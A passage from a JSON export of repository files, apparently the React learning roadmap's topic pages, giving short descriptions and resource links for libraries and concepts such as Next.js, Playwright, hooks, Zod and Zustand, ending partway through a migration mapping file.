    "content": "# Next.js\n\nNext.js is an open-source development framework built on top of Node.js enabling React based web applications functionalities such as server-side rendering and generating static websites.\n\nVisit the following resources to learn more:\n\n- [@official@Official Website](https://nextjs.org/)\n- [@official@Official Docs for Getting Started](https://nextjs.org/docs/getting-started)\n- [@article@Mastering Next.js](https://masteringnextjs.com/)\n- [@video@Next.js Full course](https://www.youtube.com/watch?v=9P8mASSREYM&list=PLC3y8-rFHvwgC9mj0qv972IO5DmD-H0ZH)\n- [@video@Next.js for Beginners - freeCodeCamp](https://youtu.be/KjY94sAKLlw?si=orve81YcY8Fm2vDy)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react/content/panda-css@akVNUPOqaTXaSHoQFlkP_.md",
    "content": "# Panda CSS\n\nPanda CSS is CSS-in-JS with build time generated styles, RSC compatible, multi-variant support, and best-in-class developer experience.\n\nVisit the following resources to learn more:\n\n- [@official@Official Website](https://panda-css.com)\n- [@official@Tutorials and videos to get started with Panda!](https://panda-css.com/learn)\n- [@article@Panda CSS – CSS-in-JS without Runtime Overhead](https://infinum.com/blog/panda-css-css-in-js-without-runtime-overhead/)\n- [@video@Panda CSS First Impressions | Theo Reacts](https://www.youtube.com/watch?v=UlY-Ixddjm0)"
  },
  {
    "path": "src/data/roadmaps/react/content/playwright@g39P0c6M2sHNoUPs0m8tr.md",
    "content": "# Playwright\n\nPlaywright Test was created specifically to accommodate the needs of end-to-end testing. Playwright supports all modern rendering engines including Chromium, WebKit, and Firefox. Test on Windows, Linux, and macOS, locally or on CI, headless or headed with native mobile emulation of Google Chrome for Android and Mobile Safari.Playwright leverages the DevTools protocol to write powerful, stable automated tests.Playwright can actually see into and control the browser rather than relying on a middle translation layer, it allows for the simulation of more insightful and relevant user scenarios.\n\nVisit the following resources to learn more:\n\n- [@official@Official Website: Playwright](https://playwright.dev/)\n- [@article@Playwright Tutorial: Learn Basics and Setup](https://www.browserstack.com/guide/playwright-tutorial)\n- [@video@Get started with end-to-end testing: Playwright](https://www.youtube.com/playlist?list=PLQ6Buerc008ed-F9OksF7ek37wR3y916p)"
  },
  {
    "path": "src/data/roadmaps/react/content/portals@DcDggX4OmmwvJGHwuV86t.md",
    "content": "# Portals\n\nPortals provide a first-class way to render children into a DOM node that exists outside the DOM hierarchy of the parent component.\n\nVisit the following resources to learn more:\n\n- [@official@Portals in React](https://react.dev/reference/react-dom/createPortal)\n- [@video@React Portals](https://www.youtube.com/watch?v=HpHLa-5Wdys)"
  },
  {
    "path": "src/data/roadmaps/react/content/props-vs-state@RFuy3Eho3mnW1GpP08BVw.md",
    "content": "# Props vs State\n\nProps (short for “properties”) and state are both plain JavaScript objects. While both hold information that influences the output of component render, they are different in one important way: props get passed to the component (similar to function parameters) whereas state is managed within the component (similar to variables declared within a function).\n\nVisit the following resources to learn more:\n\n- [@official@State: A Component's Memory](https://react.dev/learn/state-a-components-memory)\n- [@article@How to use Props in React](https://www.robinwieruch.de/react-pass-props-to-component/)\n- [@article@What is the difference between state and props in React?](https://stackoverflow.com/questions/27991366/what-is-the-difference-between-state-and-props-in-react)\n- [@article@How to update state from props in React](https://www.robinwieruch.de/react-derive-state-props/)"
  },
  {
    "path": "src/data/roadmaps/react/content/radix-ui@XL9XOV2h0BAuA5cFcM5L_.md",
    "content": "# Radix UI\n\nRadix UI is an open-source library designed to make it easier to create accessible and customizable User Interface (UI) components in React. It provides developers with a range of `unstyled`, fully `accessible` primitives, giving them complete control over the appearance and behavior of their UI elements.\n\nVisit the following resources to learn more:\n\n- [@official@Getting Started with Radix UI](https://www.radix-ui.com/themes/docs/overview/getting-started)\n- [@official@Official Website](https://www.radix-ui.com/)\n- [@article@What is Radix UI?](https://medium.com/@olivier.trinh/what-is-radix-ui-ff535bbb52d5)\n- [@video@Radix UI Course](https://www.youtube.com/playlist?list=PLlNdnoKwDZdwANQoaakE8-kYMyKFOETlo)"
  },
  {
    "path": "src/data/roadmaps/react/content/react-aria@RvDfKoa_HIW3QDBfkPv3m.md",
    "content": "# React Aria\n\nReact Aria is style-free out of the box, allowing you to build custom designs to fit your application or design system using any styling and animation solution. Each component is broken down into individual parts with built-in states, render props, and slots that make styling a breeze.\n\nVisit the following resources to learn more:\n\n- [@official@Getting Started with React Aria](https://react-spectrum.adobe.com/react-aria/)\n- [@video@Why You Should Use React Aria Components](https://www.youtube.com/watch?v=lTPh6NGLAmk)"
  },
  {
    "path": "src/data/roadmaps/react/content/react-hook-form@_5ht0PAdVOJWPzTRS1mVg.md",
    "content": "# React hook form\n\nReact hook form is an opensource form library for react. Performant, flexible and extensible forms with easy-to-use validation.\n\nVisit the following resources to learn more:\n\n- [@opensource@react-hook-form/react-hook-form](https://github.com/react-hook-form/react-hook-form)\n- [@article@React Hook Form: Official Website](https://react-hook-form.com/)\n- [@feed@Explore top posts about React](https://app.daily.dev/tags/react?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react/content/react-native@NvXAq1vN2wpncdW-yTL4c.md",
    "content": "# React Native\n\nReact Native is an open-source UI software framework created by Meta Platforms, Inc. It is used to develop applications for Android, Android TV, iOS, macOS, tvOS, Web, Windows and UWP by enabling developers to use the React framework along with native platform capabilities.\n\nVisit the following resources to learn more:\n\n- [@official@React Native: Official Website](https://reactnative.dev/)\n- [@official@Official Getting Started](https://reactnative.dev/docs/getting-started)\n- [@feed@Explore top posts about React](https://app.daily.dev/tags/react?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react/content/react-query@5EPmbiNdP_vhIXclv_GjV.md",
    "content": "# TanStack Query\n\nTanStack Query, previously known as React Query, is a powerful library for fetching, caching, synchronizing, and updating server state in your React applications. It simplifies the process of handling asynchronous data, reducing boilerplate code and improving the user experience by providing features like automatic retries, background updates, and optimistic updates. It essentially helps you manage data fetching and caching in a declarative and efficient way.\n\nVisit the following resources to learn more:\n\n- [@opensource@TanStack Query](https://github.com/TanStack/query)\n- [@official@TanStack Query](https://tanstack.com/query/latest)\n- [@article@TanStack for Beginners: A Complete Guide & Tutorial](https://codeparrot.ai/blogs/tanstack-for-beginners-a-complete-guide-tutorial)\n- [@video@TanStack Query - How to become a React Query God](https://www.youtube.com/watch?v=mPaCnwpFvZY)\n- [@feed@Explore top posts about React](https://app.daily.dev/tags/react?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react/content/react-router@-WjJBYCmRRj08n_9HxohY.md",
    "content": "# react-router\n\nThere used to be Remix in this list but they announced to merge Remix into react-router after v7.\n\nVisit the following resources to learn more:\n\n- [@official@Official Website](https://remix.run/)\n- [@official@Announcement to merge Remix into react-router](https://remix.run/blog/merging-remix-and-react-router)"
  },
  {
    "path": "src/data/roadmaps/react/content/react-router@jvp43wFkKlGQX2y7IxkbM.md",
    "content": "# React Router\n\nReact Router is a standard library for routing in React applications. It enables navigation between different views or components within a single-page application (SPA) without requiring the browser to reload the page. It provides a declarative way to define routes and map them to specific components, allowing users to seamlessly navigate through different parts of the application.\n\nVisit the following resources to learn more:\n\n- [@official@React Router — Official Website](https://reactrouter.com/)\n- [@article@What is React Router?](https://www.w3schools.com/react/react_router.asp)\n- [@article@React Router V7: A Crash Course](https://dev.to/pedrotech/react-router-v7-a-crash-course-2m86)"
  },
  {
    "path": "src/data/roadmaps/react/content/react-spring@WzoB5B6SdOI4Mzv6U51nY.md",
    "content": "# react spring\n\nReact Spring is a popular animation library for React that leverages the principles of spring physics to create smooth, natural-looking animations. Unlike traditional animation libraries that rely on keyframes and linear transitions, React Spring uses spring-based physics to produce fluid and realistic animations that can dynamically respond to user interactions and state changes.\n\nVisit the following resources to learn more:\n\n- [@official@React Spring — Official Website](https://www.react-spring.dev/)\n- [@article@How to Create Interactive Animations Using React Spring](https://www.sitepoint.com/react-spring-interactive-animations/)\n- [@video@React Spring Crash Course](https://www.youtube.com/watch?v=f2vdduklY20&list=PLLnpHn493BHGrM7tAQL8qVtqwqzbuuE5_)"
  },
  {
    "path": "src/data/roadmaps/react/content/react-testing-library@cQllxv7qGbRtM9O5llgN6.md",
    "content": "# React Testing Library\n\nThe React Testing Library is a very lightweight solution for testing React components. It provides light utility functions on top of react-dom and react-dom/test-utils, in a way that encourages better testing practices. Its primary guiding principle is: The more your tests resemble the way your software is used, the more confidence they can give you.\n\nVisit the following resources to learn more:\n\n- [@article@React Testing Library](https://testing-library.com/docs/react-testing-library/intro/)\n- [@article@How to use React Testing Library](https://www.robinwieruch.de/react-testing-library/)\n- [@feed@Explore top posts about React](https://app.daily.dev/tags/react?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react/content/refs@_zNAOhFWMcWqP4oxNPCXF.md",
    "content": "# Refs\n\nRefs provide a way to access DOM nodes or React elements created in the render method.\n\nIn the typical React dataflow, props are the only way that parent components interact with their children. To modify a child, you re-render it with new props. However, there are a few cases where you need to imperatively modify a child outside of the typical dataflow. The child to be modified could be an instance of a React component, or it could be a DOM element. For both of these cases, React provides an escape hatch.\n\nVisit the following resources to learn more:\n\n- [@official@Referencing Values with Refs](https://react.dev/learn/referencing-values-with-refs)\n- [@official@Manipulating the DOM with Refs](https://react.dev/learn/manipulating-the-dom-with-refs)\n- [@article@Examples of using refs in React](https://www.robinwieruch.de/react-ref/)\n- [@article@The Complete Guide to useRef() and Refs in React](https://dmitripavlutin.com/react-useref-guide/)\n- [@article@What Exactly Are Refs? - React - CodeGuage](https://www.codeguage.com/courses/react/refs)\n- [@video@Learn useRef in 11 Minutes - Web Dev Simplified](https://www.youtube.com/watch?v=t2ypzz6gJm0)"
  },
  {
    "path": "src/data/roadmaps/react/content/relay@cLfM342sZfsCwmPPxQpEI.md",
    "content": "# Relay\n\nRelay is a JavaScript client used in the browser to fetch GraphQL data. It's a JavaScript framework developed by Facebook for managing and fetching data in React applications. It is built with scalability in mind in order to power complex applications like Facebook. The ultimate goal of GraphQL and Relay is to deliver instant UI-response interactions.\n\nVisit the following resources to learn more:\n\n- [@official@Official Website](https://relay.dev/)\n- [@official@Introduction to Relay modern](https://relay.dev/docs/)"
  },
  {
    "path": "src/data/roadmaps/react/content/render-props@vdumdIglnouf1KyGIGZnc.md",
    "content": "# Render Props\n\nThe term 'render props' refers to a technique for sharing code between React components using a prop whose value is a function.\n\nA component with a render prop takes a function that returns a React element and calls it instead of implementing its own render logic.\n\nVisit the following resources to learn more:\n\n- [@official@Render Props in React](https://react.dev/learn/passing-props-to-a-component)\n- [@article@How to create a Render Prop Component](https://www.robinwieruch.de/react-render-props/)\n- [@article@Render Props Pattern](https://www.patterns.dev/posts/render-props-pattern/)"
  },
  {
    "path": "src/data/roadmaps/react/content/rendering@0uiGsC5SWavNdlFqizkKe.md",
    "content": "# Rendering\n\nReact follows a declarative approach to rendering components, which means that developers specify what a component should look like, and React takes care of rendering the component to the screen. This is in contrast to an imperative approach, where developers would write code to manually manipulate the DOM (Document Object Model) to update the UI.\n\nThe virtual DOM (VDOM) is an important aspect of how React works. It is a lightweight in-memory representation of the DOM (Document Object Model), and it is used to optimize the rendering of components in a React application.\n\n*   Components are written as JavaScript classes or functions that define a render method. The render method returns a description of what the component should look like, using JSX syntax.\n*   When a component is rendered, React creates a virtual DOM (VDOM) representation of the component. The VDOM is a lightweight in-memory representation of the DOM, and it is used to optimize the rendering of components.\n*   React compares the VDOM representation of the component with the previous VDOM representation (if it exists). If there are differences between the two VDOMs, React calculates the minimum number of DOM updates needed to bring the actual DOM into line with the new VDOM.\n*   React updates the actual DOM with the minimum number of DOM updates needed to reflect the changes in the VDOM.\n\nThis process is known as reconciliation, and it is an important aspect of how React works. By using a declarative approach and a VDOM, React is able to optimize the rendering of components and improve the performance of web applications.\n\nVisit the following resources to learn more:\n\n- [@official@Render and Commit - Official Docs](https://react.dev/learn/render-and-commit)\n- [@article@Rendering in React - ui.dev](https://ui.dev/why-react-renders)\n- [@article@Fix the slow render before you fix the re-render](https://kentcdodds.com/blog/fix-the-slow-render-before-you-fix-the-re-render)"
  },
  {
    "path": "src/data/roadmaps/react/content/routers@NStw6bi_pPB49K41BFSgo.md",
    "content": "# Routing\n\nRouting is an essential concept in Single Page Applications (SPA). When your application is divided into separated logical sections, and all of them are under their own URL, your users can easily share links among each other.\n\nVisit the following resources to learn more:\n\n- [@article@How to use Routing in React JS: A Comprehensive Guide.](https://blog.logrocket.com/react-router-v6-guide/)\n- [@video@React Router 6 – Tutorial for Beginners.](https://www.youtube.com/watch?v=59IXY5IDrBA)"
  },
  {
    "path": "src/data/roadmaps/react/content/rtk-query@h49-tjEkKcq7d7ikRHIOx.md",
    "content": "# rtk-query\n\n[RTK Query](https://redux-toolkit.js.org/rtk-query/overview) is a data fetching and caching tool that is included in the Redux Toolkit package. It is designed to simplify common use cases for fetching data, including caching, polling, and invalidation.\n\nVisit the following resources to learn more:\n\n- [@article@RTK Query - Official Website](https://redux-toolkit.js.org/rtk-query/overview)"
  },
  {
    "path": "src/data/roadmaps/react/content/server-apis@SUeXDkmOLipdRP4fSrZOH.md",
    "content": "# Server APIs\n\nThe react-dom/server APIs let you render React components to HTML on the server. These APIs are only used on the server at the top level of your app to generate the initial HTML. A [framework](https://react.dev/learn/start-a-new-react-project#production-grade-react-frameworks) may call them for you. Most of your components don’t need to import or use them.\n\nVisit the following resources to learn more:\n\n- [@official@Documentation For API](https://react.dev/reference/react-dom/server)"
  },
  {
    "path": "src/data/roadmaps/react/content/shadcn-ui@njKsYNkwTXPQ1NjlGKXab.md",
    "content": "# Shadcn UI\n\nShadcn is an open-source framework providing pre-built, accessible, and customizable UI components for rapid web application development. It offers a streamlined approach to construct modern user interfaces.\n\nVisit the following resources to learn more:\n\n- [@official@Official Website](https://ui.shadcn.com/)\n- [@official@Documentation](https://ui.shadcn.com/docs)\n- [@article@Shadcn Guide](https://blog.logrocket.com/shadcn-ui-adoption-guide/)\n- [@video@Shadcn Setup and Tutorial](https://www.youtube.com/watch?v=v0_AT8zaLo8)"
  },
  {
    "path": "src/data/roadmaps/react/content/state-management@I7_mX4h-Yywp1YyTJRKXI.md",
    "content": "# State Management\n\nApplication state management is the process of maintaining knowledge of an application's inputs across multiple related data flows that form a complete business transaction -- or a session -- to understand the condition of the app at any given moment. In computer science, an input is information put into the program by the user and state refers to the condition of an application according to its stored inputs -- saved as variables or constants. State can also be described as the collection of preserved information that forms a complete session.\n\nVisit the following resources to learn more:\n\n- [@article@What is State Management?](https://www.techtarget.com/searchapparchitecture/definition/state-management)\n- [@article@Overview of State in React](https://www.robinwieruch.de/react-state/)"
  },
  {
    "path": "src/data/roadmaps/react/content/suspense@_F3WMxhzaK9F8_-zHDDMF.md",
    "content": "# Suspense\n\nReact Suspense is a feature in React that allows components to \"suspend\" rendering while they are waiting for something to happen, such as data to be fetched from an API or an image to be loaded. Suspense allows developers to create a more seamless user experience by rendering a placeholder or fallback component while the component is waiting for the required data to be available.\n\nHere is a general overview of how React Suspense works:\n\n*   A component that uses Suspense wraps a component that may need to \"suspend\" rendering in a `Suspense` component.\n*   The wrapped component throws a promise when it needs to suspend rendering.\n*   The `Suspense` component catches the promise and renders a fallback component while the promise is pending.\n*   When the promise resolves, the wrapped component is rendered with the required data.\n\nVisit the following resources to learn more:\n\n- [@official@React Suspense](https://react.dev/reference/react/Suspense)\n- [@article@React Suspense - A complete guide](https://hygraph.com/blog/react-suspense)"
  },
  {
    "path": "src/data/roadmaps/react/content/swr@-ea1KsXEyz-4voHXklG_J.md",
    "content": "# SWR\n\nSWR is a React Hooks library for data fetching.\n\nThe name “SWR” is derived from stale-while-revalidate, a cache invalidation strategy popularized by HTTP RFC 5861. SWR first returns the data from cache (stale), then sends the request (revalidate), and finally comes with the up-to-date data again.\n\nWith just one hook, you can significantly simplify the data fetching logic in your project.\n\nVisit the following resources to learn more:\n\n- [@article@SWR: React Hooks for Data Fetching](https://swr.vercel.app/)\n- [@feed@Explore top posts about Next.js](https://app.daily.dev/tags/nextjs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react/content/tailwind-css@KO3viVIJJREtxXxsocN7j.md",
    "content": "# Tailwind CSS\n\nCSS Framework that provides atomic CSS classes to help you style components e.g. `flex`, `pt-4`, `text-center` and `rotate-90` that can be composed to build any design, directly in your markup.\n\nVisit the following resources to learn more:\n\n- [@article@Tailwind Website](https://tailwindcss.com)\n- [@video@Tailwind CSS Full Course for Beginners](https://www.youtube.com/watch?v=lCxcTsOHrjo)\n- [@video@Tailwind CSS Crash Course](https://www.youtube.com/watch?v=UBOj6rqRUME)\n- [@video@Should You Use Tailwind CSS?](https://www.youtube.com/watch?v=hdGsFpZ0J2E)\n- [@video@Official Screencasts](https://www.youtube.com/c/TailwindLabs/videos)\n- [@feed@Explore top posts about Tailwind CSS](https://app.daily.dev/tags/tailwind-css?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react/content/tanstack-query@5EPmbiNdP_vhIXclv_GjV.md",
    "content": "# TanStack Query\n\nTanStack Query, previously known as React Query, is a powerful library for fetching, caching, synchronizing, and updating server state in your React applications. It simplifies the process of handling asynchronous data, reducing boilerplate code and improving the user experience by providing features like automatic retries, background updates, and optimistic updates. It essentially helps you manage data fetching and caching in a declarative and efficient way.\n\nVisit the following resources to learn more:\n\n- [@official@TanStack Query](https://tanstack.com/query/latest)\n- [@opensource@TanStack Query](https://github.com/TanStack/query)\n- [@article@TanStack for Beginners: A Complete Guide & Tutorial](https://codeparrot.ai/blogs/tanstack-for-beginners-a-complete-guide-tutorial)\n- [@video@TanStack Query - How to become a React Query God](https://www.youtube.com/watch?v=mPaCnwpFvZY)\n- [@feed@Explore top posts about React](https://app.daily.dev/tags/react?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react/content/tanstack-router@zWL8VLx_g0SWubavJDs6i.md",
    "content": "# TanStack Router\n\nTanStack Router is a powerful router for building React applications, offering a range of advanced features to streamline development.\n\nVisit the following resources to learn more:\n\n- [@article@TanStack Router Documentation](https://tanstack.com/router/latest/docs/framework/react/overview)\n- [@video@TanStack Router - Crash Course](https://www.youtube.com/watch?v=4sslBg8LprE&list=PLOQjd5dsGSxJilh0lBofeY8Qib98kzmF5)\n- [@video@TanStack Router Vite: Ultimate Guide for Beginners](https://www.youtube.com/watch?v=AN9rD7y9MS8)"
  },
  {
    "path": "src/data/roadmaps/react/content/testing@e_lwZ-a72-tAan2KDX6k3.md",
    "content": "# Testing\n\nA key to building software that meets requirements without defects is testing. Software testing helps developers know they are building the right software. When tests are run as part of the development process (often with continuous integration tools), they build confidence and prevent regressions in the code.\n\nVisit the following resources to learn more:\n\n- [@article@What is Software Testing?](https://www.guru99.com/software-testing-introduction-importance.html)\n- [@article@Testing Pyramid](https://www.browserstack.com/guide/testing-pyramid-for-test-automation)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react/content/topic-node@L7ySAxVypdIk3Mij_u3ch.md",
    "content": "# topic node"
  },
  {
    "path": "src/data/roadmaps/react/content/types--validation@UNlvRp6k3_RDoTAAIEfJ1.md",
    "content": "# Types & Validation\n\n**Typescript** provides a static type system that helps you in avoiding mistakes during the development and provides other features (e.g. IDE support) that help you improve your productivity.\n\nOne thing you should note is that TypeScript can only help you avoid mistakes during the development. We can't rely on it to validate a client's input. **Zod** is a powerful validation library that allows us to validate: form input, local storage, API contracts and much more using their typesafe implementation.\n\nVisit the following resources to learn more:\n\n- [@article@What is TypeScript and why would I use it in place of JavaScript?](https://stackoverflow.com/questions/12694530/what-is-typescript-and-why-would-i-use-it-in-place-of-javascript)\n- [@article@When Use Zod](https://www.totaltypescript.com/when-should-you-use-zod)"
  },
  {
    "path": "src/data/roadmaps/react/content/typescript@ElgRwv5LSVg5FXGx-2K2s.md",
    "content": "# TypeScript\n\nTypeScript is a strongly typed programming language that builds on JavaScript, giving you better tooling at any scale.\n\nVisit the following resources to learn more:\n\n- [@official@Official Website](https://www.typescriptlang.org/)\n- [@article@The TypeScript Handbook](https://www.typescriptlang.org/docs/handbook/intro.html)\n- [@video@TypeScript for Beginners](https://www.youtube.com/watch?v=BwuLxPH8IDs)\n- [@feed@Explore top posts about TypeScript](https://app.daily.dev/tags/typescript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react/content/urql@9M5jRu0pj8KMvg9f-2oqZ.md",
    "content": "# urql\n\nurql (Universal React Query Library) is a library for managing GraphQL data in React applications. It is developed and maintained by Formidable Labs and is available as open-source software.\n\nurql is designed to be easy to use and flexible, with a simple API for performing GraphQL queries and mutations. It is based on the concept of a client, which is used to manage the GraphQL data for an application. The client provides a set of utilities and APIs for managing GraphQL data, including:\n\n*   executeQuery: A utility for executing a GraphQL query.\n*   executeMutation: A utility for executing a GraphQL mutation.\n*   useQuery: A hook for executing a GraphQL query and accessing the result in a component.\n*   useMutation: A hook for executing a GraphQL mutation and accessing the result in a component.\n\nurql is often used as an alternative to other GraphQL libraries, such as Apollo Client, because of its simplicity and lightweight size. It is particularly well-suited for small to medium-sized React applications where the complexity of other GraphQL libraries may not be required.\n\nVisit the following resources to learn more:\n\n- [@article@urql - Formidable Labs](https://formidable.com/open-source/urql/)"
  },
  {
    "path": "src/data/roadmaps/react/content/usecallback@dgoDNDtW2_q9R9yhkXrcz.md",
    "content": "# useCallback\n\n`useCallback` is a React hook that returns a memoized version of a callback function. It's used to optimize performance by preventing unnecessary re-renders. Specifically, it helps avoid recreating functions when their dependencies haven't changed, which can be useful when passing callbacks to child components that rely on referential equality to prevent re-rendering.\n\nVisit the following resources to learn more:\n\n- [@official@React Documentation on useCallback](https://react.dev/reference/react/useCallback)\n- [@article@useCallback Explained in Depth](https://kentcdodds.com/blog/usememo-and-usecallback)\n- [@article@useCallback Hook: An Introductory Guide](https://dmitripavlutin.com/dont-overuse-react-usecallback/)"
  },
  {
    "path": "src/data/roadmaps/react/content/usecontext@D5_O-uElftYGQr_bTU_se.md",
    "content": "# useContext\n\nThe `useContext` Hook lets us share data between components without having to pass props down through every level of the component tree. This is particularly useful when many components need to access the same data or when components are deeply nested.\n\nVisit the following resources to learn more:\n\n- [@official@Using useContext](https://react.dev/reference/react/useContext)\n- [@official@Explore the concept of context](https://react.dev/learn/passing-data-deeply-with-context)\n- [@video@Learn useContext In 13 Minutes](https://www.youtube.com/watch?v=5LrDIWkK_Bc)"
  },
  {
    "path": "src/data/roadmaps/react/content/useeffect@8OnzX03hkZ9K9i__tjmFX.md",
    "content": "# useEffect Hook\n\n`useEffect` is a special hook that lets you run side effects in React. It is similar to componentDidMount and componentDidUpdate, but it only runs when the component (or some of its props) changes and during the initial mount.\n\nVisit the following resources to learn more:\n\n- [@official@Using the Effect Hook](https://react.dev/reference/react/useEffect)\n- [@article@React useEffect Hook by Example](https://www.robinwieruch.de/react-useeffect-hook/)"
  },
  {
    "path": "src/data/roadmaps/react/content/usememo@w3bNp7OkehI1gjx8NzlC8.md",
    "content": "# useMemo\n\n`useMemo` is a React hook that memoizes the result of a function. It is used to optimize performance by caching the result of a function and returning the cached result when the inputs to the function have not changed.\n\nVisit the following resources to learn more:\n\n- [@official@useMemo Docs](https://react.dev/reference/react/useMemo)\n- [@article@useMemo and useCallback - Josh W. Comeau](https://www.joshwcomeau.com/react/usememo-and-usecallback/)"
  },
  {
    "path": "src/data/roadmaps/react/content/usereducer@v48Mv0wQqjXbvy8x6gDjQ.md",
    "content": "# useReducer\n\n`useReducer`: An alternative to useState. Accepts a reducer of type (state, action) => newState, and returns the current state paired with a dispatch method. (If you’re familiar with Redux, you already know how this works.)\n\nVisit the following resources to learn more:\n\n- [@official@useReducer Docs](https://react.dev/reference/react/useReducer)\n- [@article@The React useReducer Hook](https://www.telerik.com/blogs/react-usereducer-hook)\n- [@article@A guide to the React useReducer Hook](https://blog.logrocket.com/react-usereducer-hook-ultimate-guide/)\n- [@video@Learn React Hooks: useReducer - Simply Explained!](https://www.youtube.com/watch?v=rgp_iCVS8ys&t)"
  },
  {
    "path": "src/data/roadmaps/react/content/useref@t_laNdMmdLApYszqXRdWg.md",
    "content": "# useRef\n\n`useRef` is a React hook that provides a way to create a mutable reference that persists across component re-renders. It stores a value that doesn't cause re-renders when it changes.\n\nVisit the following resources to learn more:\n\n- [@official@useRef](https://react.dev/reference/react/useRef)\n- [@video@WebDevSimplified](https://www.youtube.com/watch?v=t2ypzz6gJm0)"
  },
  {
    "path": "src/data/roadmaps/react/content/usestate@FK59Zsm5ENA9g11XWCan_.md",
    "content": "# useState Hook\n\n`useState` hook is used to manage the state of a component in functional components. Calling `useState` returns an array with two elements: the current state value and a function to update the state.\n\nVisit the following resources to learn more:\n\n- [@official@Using the State Hook](https://react.dev/reference/react/useState)\n- [@article@React useState Hook by Example](https://www.robinwieruch.de/react-usestate-hook/)"
  },
  {
    "path": "src/data/roadmaps/react/content/usestate@YEpkbNzEMzS6wAKg85J_N.md",
    "content": "# useState"
  },
  {
    "path": "src/data/roadmaps/react/content/vite@y9ToYDix-koRbR6FLydFw.md",
    "content": "# Vite\n\nVite is a build tool that aims to provide a faster and leaner development experience for modern web projects.\n\nVisit the following resources to learn more:\n\n- [@official@Vite Website](https://vitejs.dev)\n- [@official@Vite Documentation](https://vitejs.dev/guide)\n- [@video@Vite Crash Course](https://youtu.be/LQQ3CR2JTX8)\n- [@video@Vite Crash Course | Faster Alternative To CRA | 2023](https://www.youtube.com/watch?v=89NJdbYTgJ8)\n- [@feed@Explore top posts about Vite](https://app.daily.dev/tags/vite?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react/content/vitest@LULjhsPNONyI5912DKzPw.md",
    "content": "# Vitest\n\nVitest is a fast Vite-native unit test framework with out-of-box ESM, TypeScript and JSX support. Works on React, Vue, Svelte and more projects created with Vite\n\nVisit the following resources to learn more:\n\n- [@official@Vitest Website](https://vitest.dev/)\n- [@video@Testing with Vitest](https://www.youtube.com/watch?v=cM_AeQHzlGg)"
  },
  {
    "path": "src/data/roadmaps/react/content/writing-css@DfrCkbD-HEHwLymv10zb5.md",
    "content": "# Styling\n\nWhile \"CSS in JS\" is the most predominant way of styling modern frontend applications, there are several different ways to style your React applications whether it is vanilla CSS, [CSS Modules](https://github.com/css-modules/css-modules), or [CSS in JS](https://css-tricks.com/a-thorough-analysis-of-css-in-js/) etc and each has several frameworks available.\n\nVisit the following resources to learn more:\n\n- [@article@Ways to CSS style a React application](https://www.robinwieruch.de/react-css-styling/)"
  },
  {
    "path": "src/data/roadmaps/react/content/zod@K3RZ8ESxWCpLKHePF87Hy.md",
    "content": "# Zod\n\nZod is a TypeScript-first schema declaration and validation library. I'm using the term \"schema\" to broadly refer to any data type, from a simple string to a complex nested object.\n\nZod is designed to be as developer-friendly as possible. The goal is to eliminate duplicate type declarations. With Zod, you declare a validator once and Zod will automatically infer the static TypeScript type. It's easy to compose simpler types into complex data structures.\n\nVisit the following resources to learn more:\n\n- [@official@Zod Website](https://zod.dev/)\n- [@video@Learn Zod In 30 Minutes](https://www.youtube.com/watch?v=L6BE-U3oy80)"
  },
  {
    "path": "src/data/roadmaps/react/content/zustand@nl5imPsdY2oEWlg-9TTuk.md",
    "content": "# Zustand\n\nZustand is a small, fast and scalable bearbones state-management solution using simplified flux principles. Has a comfy api based on hooks, isn't boilerplatey or opinionated.\n\nZustand is often used as an alternative to other state management libraries, such as Redux and MobX, because of its simplicity and small size. It is particularly well-suited for small to medium-sized applications, where the complexity of larger state management libraries is not required.\n\nVisit the following resources to learn more:\n\n- [@opensource@Zustand - Official Website](https://github.com/pmndrs/zustand)\n- [@opensource@Zustand Repository](https://github.com/pmndrs/zustand)\n- [@article@Working with Zustand](https://tkdodo.eu/blog/working-with-zustand)\n- [@article@Zustand - Official Documentation](https://docs.pmnd.rs/zustand/getting-started/introduction)\n- [@video@Zustand Tutorial for Beginners](https://www.youtube.com/watch?v=AYO4qHAnLQI&t)"
  },
  {
    "path": "src/data/roadmaps/react/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/react/migration-mapping.json",
    "content": "{\n  \"cli-tools\": \"tU4Umtnfu01t9gLlnlK6b\",\n  \"cli-tools:vite\": \"y9ToYDix-koRbR6FLydFw\",\n  \"components\": \"79K4xgljcoSHkCYI1D55O\",\n  \"components:functional-components\": \"8mw4TxlLN4ZKAlLl-_NVV\",\n  \"components:jsx\": \"WREBxWSNQDD_6fzpHL6CE\",\n  \"components:props-vs-state\": \"RFuy3Eho3mnW1GpP08BVw\",\n  \"components:conditional-rendering\": \"aE6XBgH23135_9QmD4ff2\",\n  \"components:composition-vs-inheritance\": \"4T59gdcwdXqj9kCuK7cfp\",\n  \"rendering\": \"0uiGsC5SWavNdlFqizkKe\",\n  \"rendering:component-life-cycle\": \"8OBlgDRUg-CTgDXY-QHyO\",\n  \"rendering:lists-and-keys\": \"HeWVCPHqVnnbOn6zIim4K\",\n  \"rendering:render-props\": \"vdumdIglnouf1KyGIGZnc\",\n  \"rendering:refs\": \"_zNAOhFWMcWqP4oxNPCXF\",\n  \"rendering:events\": \"Nex2HcTOYIbfqUzXyxSMY\",\n  \"rendering:high-order-components\": \"zOENl96GUZRw2PP2KxIck\",\n  \"hooks\": \"LbLQhonBqzxHU6B-L--Vq\",\n  \"hooks:basic-hooks:use-state\": \"FK59Zsm5ENA9g11XWCan_\",\n  \"hooks:basic-hooks:use-effect\": \"8OnzX03hkZ9K9i__tjmFX\",\n  \"hooks:writing-your-own-hooks\": \"HX75SExuzR5AP7TQ94qid\",\n  \"hooks:common-hooks\": \"dgoDNDtW2_q9R9yhkXrcz\",\n  \"routers\": \"NStw6bi_pPB49K41BFSgo\",\n  \"routers:react-router\": 